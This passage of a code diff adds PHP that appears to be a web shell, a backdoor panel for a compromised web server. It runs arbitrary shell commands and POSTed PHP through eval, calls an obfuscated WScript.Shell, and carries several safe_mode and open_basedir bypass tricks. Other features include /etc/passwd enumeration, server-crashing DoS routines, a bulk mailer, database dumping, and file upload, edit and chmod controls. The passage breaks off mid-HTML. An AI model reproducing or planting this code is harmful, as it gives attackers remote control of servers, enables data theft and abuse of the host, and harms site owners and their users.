echo "</td>"; + } + echo "<td><a href='$_SERVER[PHP_SELF]?do=db&drop_$obj=$dr"; + if($obj=='row') + echo "&clm=$field"; + echo "'>Drop</a></td></tr>"; +} +echo "</table><br>"; + +} + + + + + +if(empty($_REQUEST['typE']))$_REQUEST['typE']=''; +echo "<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'><table border='1' width='400' style='border-collapse: collapse' id='table1' bordercolor='#C6C6C6' cellpadding='2'><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Connect to Database</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Type:</font></td><td width='250' bgcolor='#EAEAEA'><select name=typE><option valut=MySQL onClick='document.client.serveR.disabled = false;' "; +if ($_REQUEST['typE']=='MySQL')echo 'selected'; +echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' "; +if ($_REQUEST['typE']=='MSSQL')echo 'selected'; +echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' "; +if ($_REQUEST['typE']=='Oracle')echo 'selected'; +echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' "; +if ($_REQUEST['typE']=='PostgreSQL')echo 'selected'; +echo ">PostgreSQL</option><option valut=DB2 onClick='document.client.serveR.disabled = false;' "; +if ($_REQUEST['typE']=='DB2')echo 'selected'; +echo ">IBM DB2</option></select></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Server Address:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='"; +if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; +echo "' name=serveR size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Username:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text name=useR value='"; +if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root'; +echo "' size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Password:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='"; +if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123'; +echo "' name=pasS size=35></td></tr><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Submit a Query</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Name:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='"; +if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']); +echo "' name=dB size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Query:</font></td><td width='250' bgcolor='#EAEAEA'><textarea name=querY rows=5 cols=27>"; +if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES'; +echo "</textarea></td></tr><tr><td width='400' colspan='2' bgcolor='#EAEAEA'>$hcwd<input class=buttons type=submit value='Submit' style='float: right'></td></tr></table></form>$et</center>"; +} + + +function querY($type,$host,$user,$pass,$db='',$query){ +$res=''; +switch($type){ +case 'MySQL': +if(!function_exists('mysql_connect'))return 0; +$link=mysql_connect($host,$user,$pass); +if($link){ +if(!empty($db))mysql_select_db($db,$link); +$result=mysql_query($query,$link); +if ($result!=1){ +while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<mysql_num_fields($result);$i++) +$res.=mysql_field_name($result,$i).'[-][-][-]'; +} +mysql_close($link); +return $res; +} +break; +case 'MSSQL': +if(!function_exists('mssql_connect'))return 0; +$link=mssql_connect($host,$user,$pass); +if($link){ +if(!empty($db))mssql_select_db($db,$link); +$result=mssql_query($query,$link); +while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<mssql_num_fields($result);$i++) +$res.=mssql_field_name($result,$i).'[-][-][-]'; +mssql_close($link); +return $res; +} +break; +case 'Oracle': +if(!function_exists('ocilogon'))return 0; +$link=ocilogon($user,$pass,$db); +if($link){ +$stm=ociparse($link,$query); +ociexecute($stm,OCI_DEFAULT); +while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<oci_num_fields($stm);$i++) +$res.=oci_field_name($stm,$i).'[-][-][-]'; +return $res; +} +break; +case 'PostgreSQL': +if(!function_exists('pg_connect'))return 0; +$link=pg_connect("host=$host dbname=$db user=$user password=$pass"); +if($link){ +$result=pg_query($link,$query); +while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<pg_num_fields($result);$i++) +$res.=pg_field_name($result,$i).'[-][-][-]'; +pg_close($link); +return $res; +} +break; +case 'DB2': +if(!function_exists('db2_connect'))return 0; +$link=db2_connect($db,$user,$pass); +if($link){ +$result=db2_exec($link,$query); +while($data=db2_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<db2_num_fields($result);$i++) +$res.=db2_field_name($result,$i).'[-][-][-]'; +db2_close($link); +return $res; +} +break; +} +return 0; +} +function bywsym($file){ +if(!function_exists('symlink')){echo "Function Symlink Not Exist";} + +if(!is_writable(".")) + die("not writable directory"); +$level=0; +for($as=0;$as<$fakedep;$as++){ + if(!file_exists($fakedir)) + mkdir($fakedir); + chdir($fakedir); +} +while(1<$as--) chdir(".."); +$hardstyle = explode("/", $file); +for($a=0;$a<count($hardstyle);$a++){ + if(!empty($hardstyle[$a])){ + if(!file_exists($hardstyle[$a])) + mkdir($hardstyle[$a]); + chdir($hardstyle[$a]); + $as++; +}} +$as++; +while($as--) + chdir(".."); +@rmdir("fakesymlink"); +@unlink("fakesymlink"); +@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink"); +while(1) + if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break; + else $num++; +@unlink("fakesymlink"); +mkdir("fakesymlink"); +} +function bypcu($file){ +$level=0; + +if(!file_exists("file:")) + mkdir("file:"); +chdir("file:"); +$level++; + +$hardstyle = explode("/", $file); + +for($a=0;$a<count($hardstyle);$a++){ + if(!empty($hardstyle[$a])){ + if(!file_exists($hardstyle[$a])) + mkdir($hardstyle[$a]); + chdir($hardstyle[$a]); + $level++; + } +} + +while($level--) chdir(".."); + +$ch = curl_init(); + +curl_setopt($ch, CURLOPT_URL, "file:file:///".$file); + +echo '<FONT COLOR="RED"> <textarea rows="40" cols="120">'; + +if(FALSE==curl_exec($ch)) + die('>Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.'); + +echo ' </textarea> </FONT>'; + +curl_close($ch); +} +if ($_REQUEST['bypcu']){ +bypcu($_REQUEST['bypcu']); +} +if($_REQUEST['do']=="bypasscmd"){ +if($_POST['bycw']){ +echo $_POST['bycw']; +$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll'); + $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['bycw'].""); + $stdout = $exec->StdOut(); + $stcom = $stdout->ReadAll();} + +echo $head.'<p align="center"><textarea rows="13" name="showbsd" cols="77">';if($_POST['byws']){passthru("\\".$_POST['byws']);} echo $stcom.'</textarea><hr><center>Bypass Safe_Mode And Disable_Functions In Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'<input type=hidden value="bypasscmd" name=do>Command </font></td><td width="750"><input name=bycw size=50><input type=submit value ="eXecute"></form></td></tr></table>Bypass Safe_Mode Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Command </font></td><td width="750"><input name=byws size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypasscmd"></form></td></tr></table>'.$end;exit;; +} +if($_REQUEST['do']=="bypassdir"){ +if($_POST['byoc']){ +if(copy("compress.zlib://".$_POST['byoc'], getcwd()."/"."peji.txt")){ +$bopens="Bypass Succesfull Plz Read File Peji.txt In This Folder"; +}else{$bopens="Can Not Bypass This";} +} +if($_POST['byfc']){ +curl_init("file:///".$_POST['byfc']."\x00/../../../../../../../../../../../../".__FILE__); +$debfc=curl_exec($ch); +} +if($_POST['byetc']){ +for($bye=0;$bye<40000;$bye++){ +$sbep =$sbep. posix_getpwuid($bye); +}} +if($_POST['byfc9']){ +echo "not sucsfull"; +} +if($_REQUEST['bysyml']){ +$file=$_REQUEST['bysyml']; +bywsym($file); +} +echo $head.'<p align="center"><textarea rows="13" name="showbsd" cols="77">';if($_POST['byws']){passthru("\\".$_POST['byws']);}if(isset($sbep)){for($fbe=0;$fbe<count($sbep);$fbe++){echo $sbep[$fbe];}} if(isset($debfc)){} echo $bopens.'</textarea><hr><center>Bypass Safe_Mode And Open_basedir With Bug Copy(Zlib) Worked In 4.4.2 .. 5.1.2<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right">'.$formp.'<input type=hidden value="bypassdir" name=do><font face="Tahoma" style="font-size: 10pt; font-weight:700">Address File </font></td><td width="750"><input name=byoc size=50 ><input type=submit value ="read"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.4.2 and 5.1.4<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Address File </font></td><td width="750"><input name=byfc size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.X ... 5.2.9<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Address File </font></td><td width="750"><input name=byfc9 size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass /Etc/Passwd<br>'.$formp.'<input type=submit value ="Read Passwd"><input type=hidden name=byetc value="lol"><input type=hidden name=do value="bypassdir"></form><hr>Bypass With ini_restore'.$formp.'<input type=submit value ="Read File"><input name=rfili value="Pejijon" type=hidden><input type=hidden name=do value="bypassdir"></form><hr>Bypass With Symlink Worked In 5.x.x 5.2.11 With Bug Symlink<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'</font></td><td width="750"><input name=bysyml size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"><input name=rfili value="Pejijon" type=hidden></form></td></tr></table><hr>'.$formp.'Bypass Safe And Open_basedir With Bug Curl Worked In 4.x.x ... 5.2.9<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'</font></td><td width="750"><input name=bypcu size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"></form></td></tr></table>'.$end;exit;; + + + + +} +function printdrive(){ +global $slash; +foreach (range("A","Z") as $tempdrive) { +if (is_dir($tempdrive.":".$slash)){ +$adri=$tempdrive.":".$slash; +$drivea=$drivea.'<a href="?address='.$adri.'"><font size=1>'.$tempdrive.':'.$slash.' </a></font>'; +} +} +return $drivea; +} +if($_POST['nameren'] && $_POST['addressren']){ +if(is_writable($_REQUEST['addressren'])){ + +rename($_POST['addressren'],$_POST['nameren']);alert("Rename Successful !"); +}else{alert("Permission Denied !");} +} +if($_GET['do']=="delete"){ + +if ($_GET['type']=="dir"){ +if(is_writable($_REQUEST['address'])){ +$dir=$_GET['address'].$_GET['filename']; +deleteDirectory($dir); +alert("Deleted Successful !"); +}else{alert("Permission Denied !");} +}elseif($_GET['type']=="file"){ +if(is_writable($_GET['address'].$_GET['filename'])){ +unlink($_GET['address'].$_GET['filename']);alert("Deleted Successful !"); +}else{alert("Permission Denied !");} +} +} +if($_POST['fedit'] && $_POST['namefe']){ +if(is_writable($_REQUEST['address'])){ + + +$opensave=fopen($_POST['address'].$slash.$_POST['namefe'],"w"); +fwrite($opensave,html_entity_decode($_POST['fedit'])); +fclose($opensave);alert("File Saved Successful !"); +}else{alert("Permission Denied !");} +} +if ($_POST['evalsource']){ + +eval($_POST['evalsource']); +} +if($_GET['do']=="eval"){ +echo $head.$formp.$nowaddress.'<p align="center"><textarea rows="19" name="evalsource" cols="87"></textarea><br><input type=submit value=" eXecute "></form></p>'.$end;exit; +} +if($_GET['do']=="info"){ + +if(ini_get('register_globals')){ +$registerg="Enable"; +}else{ +$registerg="disable"; +} +if(extension_loaded('curl')){ +$curls="Enable"; +}else{ +$curls="disable"; +} +if(@function_exists('mysql_connect')){ +$db_on = "Mysql : On"; +}; +if(@function_exists('mssql_connect')){ +$db_on = "Mssql : On"; +}; +if(@function_exists('pg_connect')){ +$db_on = "PostgreSQL : On"; +};if(@function_exists('ocilogon')){ +$db_on = "Oracle : On"; +}; + +echo $head."<font face='Tahoma' size='2'>Operating System : ".php_uname()."<br>Server Name : ".$_SERVER['HTTP_HOST']."<br>Disable_Functions : ".$disablef."<br>Safe_Mode : ".$safe_modes."<br>Openbase_dir : ".ini_get('openbase_dir')."<br>Php Version : ".phpversion()."<br>Free Space : ".sizee(disk_free_space("/"))."<br>Total Space : ".sizee(disk_total_space("/"))."<br>Register_Globals : ".$registerg."<br>Curl : ".$curls."<br>Database ".$db_on."<br>Server Name : ".$_SERVER['HTTP_HOST']."<br>Admin Server : ".$_SERVER['SERVER_ADMIN'].$end; +exit; +} +if ($_GET['do']=="cmd"){ +echo $head.' +<form method=get action="'.$me.'"> +<p align="center"> +<textarea rows="19" name="S1" cols="87">'; +if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){ +echo $_GET['execmethod']($_GET['command']);} +if (strlen($_POST['command'])>1 && $_POST['execmethod']!="popen"){ +echo $_POST['execmethod']($_POST['command']);} + +if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){ +popen($_GET['command'],"r");} + +echo'</textarea></p><p align="center"> +<input type=hidden name="do" size="50" value="cmd"> <input type="text" name="command" size="50"><select name=execmethod> + <option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option><option value="popen">popen</option> +</select><input type="submit" value="eXecute"> +</p></form>'.$end;exit;} +if ($_GET['do']=="symlink"){ +echo $head.' +<form method=post action="'.$me.'"> +<p align="center"> +SymLink With PHP<br><input name=ad1syp size=50> TO <input value="'.getcwd().$slash."symlink.txt".'" name=ad2syp size=50><br><input type=submit value=SymLink!><hr><p align="center"></form> +<form method=post action="'.$me.'"><p align="center"> + +SymLink With OS : <br><input name=ad1syc size=50> TO <input value="'.getcwd().$slash."symlink.txt".'" name=ad2syc size=50><br><input type=submit value=SymLink!> +</p></form>'.$end;exit;} +if ($_POST['ad1syp'] && $_POST['ad2syp']){ +if (symlink($_POST['ad1syp'],$_POST['ad2syp'])){ +alert("Symlink Worked !"); +}else{ +alert("Symlink Not Worked !"); +}} +if ($_POST['ad1syc'] && $_POST['ad2syc']){ +if (system('ls -s '.$_POST['ad1syc']." ".$_POST['ad2syc'])){ +alert("Symlink Worked !"); +}else{alert("Symlink Not Worked !");} +} +if ($_GET['do']=="d0slocal"){ +echo $head.' +<p align="center">If You Click This Link This Server Crashed.<br>This Worked In Php 5.3.x : <a href="?dosthisserver=1" target="_blank"><font size=4>Dos This Server I Am Sure </font></a><br>This Worked In Php 4.x.x And 5.2.9 : <a href="?dosthisserver=2" target="_blank"><font size=4>Dos This Server I Am Sure </a>'.$end;exit;} +if ($_GET['dosthisserver']=="1"){ +function dosserver(){ +$junk=str_repeat("99999999999999999999999999999999999999999999999999",99999); +for($i=0;$i<2;){ +$buff=bcpow($junk, '3', 2); +$buff=null; +} +} +dosserver(); +} +if ($_GET['dosthisserver']=="2"){ +function cx(){cx();} + cx(); +} +if ($_GET['do']=="convert"){ +$hash=null; +if ($_GET['stringtoh'] && $_GET['hashtoh']=='md5'){ +$hash=md5($_GET['stringtoh']); +}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='sh1'){ +$hash=sha1($_GET['stringtoh']); +}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='crc32'){ +$hash=crc32($_GET['stringtoh']); +}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='b64e'){ +$hash=base64_encode($_GET['stringtoh']); +}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='b64d'){ +$hash=base64_decode($_GET['stringtoh']); +} +echo $head.' +<form method=get action="'.$me.'"> +<p align="center">Convert<br><input type=hidden name=do value=convert> +<input name=stringtoh size=58><select name=hashtoh> +<option value="md5">MD5</option> +<option value="crc32">CRC32</option> +<option value="sha1">SHA1</option> +<option value="b64e">Base64 Encode!</option> +<option value="b64d">Base64 Decode!</option> +<br><textarea cols=60 rows=18>'.$hash.'</textarea><br><input type=submit value="Convert"> + +</p></form>'.$end;exit;} +if ($_GET['do']=="dump"){ +echo $head.'<p align="center">'; +echo '<table border=1 width=400 style="border-collapse: collapse" bordercolor=#C6C6C6 cellpadding=2><tr><td width=400 colspan=2 bgcolor=#F2F2F2><p align=center><b><font face=Arial size=2 color=#433934>Backup Database</font></b></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>DB Type:</font></td><td width=250 bgcolor=#EAEAEA><form method=post action="'.$me.'"><select name=method><option value="gzip">Gzip</option><option value="sql">Sql</option> </select></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Server:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=server size=35></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Username:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=username size=35></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Password:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=password></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Data Base Name:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=dbname></td></tr><tr><td width=400 colspan=2 bgcolor=#EAEAEA><center><input type=submit value=" Dump! " ></td></tr></table></form></center></table>'.$end;exit;} +if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){ +$date = date("Y-m-d"); +$dbserver = $_POST['server']; +$dbuser = $_POST['username']; +$dbpass = $_POST['password']; +$dbname = $_POST['dbname']; +$file = "Dump-$dbname-$date"; +$method = $_POST['method']; +if ($method=='sql'){ +$file="Dump-$dbname-$date.sql"; +$fp=fopen($file,"w"); +}else{ +$file="Dump-$dbname-$date.sql.gz"; +$fp = gzopen($file,"w"); +} +function write($data) { +global $fp; +if ($_POST['method']=='sql'){ +fwrite($fp,$data); +}else{ +gzwrite($fp, $data); +}} +mysql_connect ($dbserver, $dbuser, $dbpass); +mysql_select_db($dbname); +$tables = mysql_query ("SHOW TABLES"); +while ($i = mysql_fetch_array($tables)) { + $i = $i['Tables_in_'.$dbname]; + $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i)); + write($create['Create Table'].";\n\n"); + $sql = mysql_query ("SELECT * FROM ".$i); + if (mysql_num_rows($sql)) { + while ($row = mysql_fetch_row($sql)) { + foreach ($row as $j => $k) { + $row[$j] = "'".mysql_escape_string($k)."'"; + } + write("INSERT INTO $i VALUES(".implode(",", $row).");\n"); + } + } +} +if ($method=='sql'){ +fclose ($fp); +}else{ +gzclose($fp);} +header("Content-Disposition: attachment; filename=" . $file); +header("Content-Type: application/download"); +header("Content-Length: " . filesize($file)); +flush(); + +$fp = fopen($file, "r"); +while (!feof($fp)) +{ + echo fread($fp, 65536); + flush(); +} +fclose($fp); +} + +if ($_GET['do']=="mail"){ +echo $head.' +<form method=post action="'.$me.'"> +<p align="center"> +Address : <input type="text" name="admail" size="50"><br><br>Subject : <input type="text" name="submail" size="50"><br><br><textarea cols=70 rows=18 name=textmail>Text</textarea><br><br>Number For Send : <input type="text" name="numail" size="5" value=1><input type=submit value=Send!></form>'.$end;exit;} +if ($_POST['admail'] && $_POST['submail'] ){ +for($mi=0;$mi<intval($_POST['numail']);$mi++){ +mail($_POST['admail'], $_POST['submail'], $_POST['textmail']);} +} +if($_GET['do']=="db"){ +echo $head;sqlclienT();echo $end; +exit; +} +if($_REQUEST['file2ch'] && $_REQUEST['chmodnow']){ +$chmodnum2=$_REQUEST['chmodnow']; +chmod($_REQUEST['file2ch'],"0".$chmodnum2); +} +if($_GET['do']=="chmod"){ +echo $head.$formg.$nowaddress."<p align=center><b>Chmod</b><br><input size=50 name=file2ch value='".$_REQUEST['address'].$_REQUEST['filename']."'> To <input name=chmodnow size=1 value=777><br><input type=submit value=Set></form>".$end;exit; + +} +/* if($_GET['do']=="edit"){ +if($_GET['filename']=="dir"){ +if(is_readable($_GET['address'])){ +chdir($_GET['address']);}else{alert("Permission Denied !");} + +}} */ +$araddresss=explode($slash,getcwd()); +$matharrayy=count($araddresss)-1; +$addr1backk=str_replace($araddresss[$matharrayy],"",$araddresss); +for($countback=0;$countback<count($addr1backk);$countback++){ +$arraybacke[$countback]=$slash.$addr1backk[$countback]; +$backdirunixx=$backdirunixx.$slash.$addr1backk[$countback]; +} +if ($slash=="\\"){ +$countback=null; +$backdirwin=null; +for($countback=1;$countback<count($addr1backk);$countback++){ +$backdirwin=$backdirwin."\\".$addr1backk[$countback];} +$backdirwin=$addr1backk[0].$backdirwin; +$backaddresss=$backdirwin; +}else{ +$countback=null; +$backdirwin=null; +for($countback=1;$countback<count($addr1backk);$countback++){ +$backdirwin=$backdirwin."/".$addr1backk[$countback];} +$backdirwin=$addr1backk[0].$backdirwin; +$backaddresss=$backdirwin; +$backaddresss=str_replace("\\","/",$backaddresss); +} +function calc_dir_size($path) +{ +$size = 0; +if ($handle = opendir($path)) +{ +while (false !== ($entry = readdir($handle))) +{ +$current_path = $path . '/' . $entry; +if ($entry != '.' && $entry != '..' && !is_link($current_path)) +{ +if (is_file($current_path)) +$size += filesize($current_path); +elseif (is_dir($current_path)) +$size = calc_dir_size($current_path); +} +} +} +closedir($handle); +return $size; +} +function openf($parsef){ +global $basep,$slash; + +if(strlen(strpos(getcwd(),$basep))>=1){ +$rr=str_replace($basep,"",getcwd()); +$rr=str_replace("\\","/",$rr); +$diropen='<a href="'.$rr."/".$parsef.'">'.$parsef.'</a>'; +}else{ +$diropen='<a href="?do=edit&address='.getcwd().$slash.'&filename='.$parsef.'">'.$parsef.'</a>'; +} +return $diropen; +} +if ($_GET['address']){$ifget=$_GET['address'];}if($_POST['address']){$ifget=$_POST['address'];} +if($cwd==''){$cwd=getcwd();}$nowaddress='<input type=hidden name=address value="'.$cwd.'">'; +$ad=getcwd(); +$hand=opendir("$ad"); +$coi=0; +$coi2=0; + +while (false !== ($fileee = readdir($hand))) { + + + if ($fileee != "." && $fileee != "..") { + if (filetype($fileee)=="dir"){ + if ($coi %2){ +$colort='"#e7e3de"'; +}else{ +$colort='"#e4e1de"'; + +} +$coi++; +$fil=$fil.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="1" dir="ltr"> +<tr onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$oo.'\';"><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><img src="data:image/png;base64,' .$picdir. '" /> <a href="?address='.$cwd.$slash.$fileee.$slash.'">'.$fileee.'</b></span></td> +<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt">'.date("y/m/d", filectime($fileee)).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt">'.substr(sprintf('%o', fileperms($cwd.$slash."$fileee")), -3).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"><a href="?do=down&type=dir&address='.$cwd.$slash.'&dirname='.$fileee.'">DL</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=rename&address='.$cwd.$slash.'&filename='.$fileee.'">Ren</a></td> +<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=delete&type=dir&address='.$cwd.$slash.'&filename='.$fileee.'">Del</a></td></tr></table>' +;} +else{ + + if ($coi2 %2){ +$colort='"#e7e3de"'; +}else{ +$colort='"#e4e1de"'; +} + +$coi2++; +$file=$file.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr"> +<tr onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$oo.'\';"><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><img src="data:image/png;base64,' .$picfile. '" /> '.openf($fileee).'</span></td> +<td valign="top" height="19" width="80"><font face="Tahoma" style="font-size: 9pt">'.sizee(filesize($fileee)).'</td><td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt">'.date("y/m/d", filectime($fileee)).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt">'.substr(sprintf('%o', fileperms($cwd.$slash."$fileee")), -3).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=edit&address='.$cwd.$slash.'&filename='.$fileee.'">Edit</a></td><td valign="top" height="19" width="23"><font face="Tahoma" style="font-size: 9pt"><a href="?do=down&type=file&address='.$cwd.$slash.'&filename='.$fileee.'">DL</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=rename&address='.$cwd.$slash.'&filename='.$fileee.'">Ren</a></td> +<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=delete&type=file&address='.$cwd.$slash.'&filename='.$fileee.'">Del</a></td></tr></table>' +;} +} +} +echo $head.' +<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td> +</tr></table>'.$fil.$file.'</table> +<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Command Execute : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input type=hidden name=address value='.getcwd().'><input name=command value=id size=50><input type=hidden name=do value=cmd size=50> <select name=execmethod> + <option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option> +</select> <input type=submit value="Execute"></form></td></tr> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Dir : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().$slash.' size=50> +<input type=submit value=Change></form></td></tr> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Create Dir : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=cdirname value='.getcwd().$slash.' size=50><input type=hidden name=address value='.getcwd().'><input type=submit value=" Create "></form></td></tr> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Create File : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=cfilename value='.getcwd().$slash.' size=50> <input type=hidden name=address value='.getcwd().'><input type=submit value=" Create "></form></td></tr> +<tr></form> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Upload : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.' +<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee > <input type=hidden name=address value='.getcwd().'> +<input type=submit value=Upload /></form></td></tr> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font 